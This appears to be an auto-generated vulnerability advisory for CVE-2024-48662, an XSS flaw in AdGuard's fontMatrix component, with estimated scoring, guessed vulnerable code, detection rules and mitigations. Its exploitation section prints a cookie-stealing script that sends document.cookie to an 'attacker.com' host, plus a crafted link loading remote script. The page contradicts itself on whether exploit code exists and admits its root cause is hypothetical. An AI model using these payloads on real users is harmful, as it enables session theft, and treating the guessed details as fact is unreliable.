CVE-2024-48662
Executive Summary
CVE-2024-48662 is a Cross-Site Scripting (XSS) vulnerability identified in the AdGuard Application version 7.18.1 (4778) and earlier. The flaw resides in the fontMatrix component, allowing an attacker to inject and execute arbitrary JavaScript code within the context of the application. This can lead to session hijacking, data theft, or further compromise of the user's system. The vulnerability is currently unpatched, and no public proof-of-concept or exploit code has been released. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0, which is unusual and likely indicates incomplete or missing CVSS vector data. Based on the nature of the vulnerability (XSS), a reasonable CVSS v3.1 vector would be:
- Attack Vector (AV): Network (N) – The attack can be launched remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – The user must interact with the malicious payload (e.g., click a link).
- Scope (S): Changed (C) – The vulnerability can impact resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited data modification.
- Availability (A): None (N) – No impact on availability.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Estimated Base Score: 6.1 (Medium)
Threat Level: Medium. While the vulnerability is unpatched, the lack of public exploit code and low EPSS score reduce immediate risk. However, the potential for data theft and session hijacking warrants attention.
Deep Dive & Mechanics
The vulnerability is a classic stored or reflected Cross-Site Scripting (XSS) flaw in the fontMatrix component of AdGuard Application. The fontMatrix component is likely responsible for rendering or processing font-related data, such as font names, styles, or metadata. The application fails to properly sanitize user-supplied input before using it in the fontMatrix component, allowing an attacker to inject malicious HTML and JavaScript.
Attack Vector:
- An attacker crafts a malicious payload containing JavaScript code (e.g.,
<script>alert('XSS')</script>). - The payload is delivered to the victim via a crafted link, a malicious website, or by injecting it into a font file or font-related data.
- When the victim interacts with the payload (e.g., clicks a link or opens a font file), the AdGuard Application processes the input through the
fontMatrixcomponent without proper sanitization. - The injected script executes in the context of the application, allowing the attacker to steal cookies, session tokens, or perform actions on behalf of the user.
Root Cause: Lack of input validation and output encoding in the fontMatrix component. The application likely uses user-controlled data directly in HTML or JavaScript contexts without escaping special characters.
Vulnerable vs. Patched Code
Since no patch is available, a hypothetical vulnerable code snippet and its patched version are provided.
Vulnerable Code (JavaScript):
// Vulnerable: Directly using user input in innerHTML
function renderFontMatrix(fontName) {
document.getElementById('fontMatrix').innerHTML = 'Font: ' + fontName;
}
Patched Code (JavaScript):
// Patched: Using textContent to prevent XSS
function renderFontMatrix(fontName) {
document.getElementById('fontMatrix').textContent = 'Font: ' + fontName;
}
The patched version uses textContent instead of innerHTML, which automatically escapes HTML entities and prevents script injection.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Target: AdGuard Application v7.18.1 (4778) on a test machine.
- Attacker: Kali Linux with a web server to host the malicious payload.
Exploitation Steps:
- Create a malicious HTML file containing the XSS payload:
<html> <body> <script> // Payload to steal cookies var img = new Image(); img.src = 'http://attacker.com/steal?cookie=' + document.cookie; </script> </body> </html> - Host the file on the attacker's web server.
- Send a crafted link to the victim that triggers the
fontMatrixcomponent with the malicious payload. For example:http://victim.com/adguard?fontMatrix=<script src="http://attacker.com/payload.js"></script> - When the victim clicks the link, the script executes, sending their cookies to the attacker's server.
Blue Team (Defensive)
Detection:
- Monitor for unusual outbound connections from the AdGuard Application.
- Inspect network traffic for requests containing suspicious JavaScript code in the
fontMatrixparameter. - Use web application firewalls (WAF) to block common XSS patterns.
Mitigation:
- Apply input validation and output encoding to all user-controlled data.
- Use Content Security Policy (CSP) headers to restrict script execution.
- Disable the
fontMatrixcomponent if not needed.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests containing
document.cookieordocument.locationin the URL. - Requests to unknown or suspicious domains from the AdGuard Application.
- Outbound HTTP requests containing
- File IOCs:
- Modified font files containing embedded JavaScript.
- Log entries showing unusual
fontMatrixparameter values.
- Behavioral IOCs:
- Unexpected pop-ups or redirects within the AdGuard Application.
- Unauthorized changes to application settings.
Detection Engineering
YARA Rule
rule CVE_2024_48662_XSS_AdGuard {
meta:
description = "Detects XSS payloads targeting CVE-2024-48662 in AdGuard Application"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-48662"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
$xss3 = /javascript\s*:/is
condition:
any of them
}
Sigma Rule
title: CVE-2024-48662 XSS in AdGuard Application
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS attempts targeting the fontMatrix component in AdGuard Application
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: adguard
detection:
selection:
- 'fontMatrix': '*<script*'
- 'fontMatrix': '*onerror*'
- 'fontMatrix': '*javascript:*'
condition: selection
falsepositives:
- Legitimate font names containing special characters
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-48662 XSS in AdGuard Application"; flow:to_server,established; content:"fontMatrix"; http_uri; pcre:"/(<script|onerror|javascript)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the
fontMatrixcomponent if it is not essential for operations. - Implement input validation to sanitize all user-supplied data before processing.
- Apply output encoding to escape HTML entities when rendering user data.
Long-Term Fixes:
- Vendor Patch: Await an official patch from AdGuard. Monitor their security advisories for updates.
- Upgrade: Once a patched version is released, upgrade to the latest version immediately.
- Web Application Firewall (WAF): Deploy a WAF with rules to block XSS payloads.
Workarounds:
- Use a browser extension that blocks XSS attacks.
- Restrict network access to the AdGuard Application to trusted sources only.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.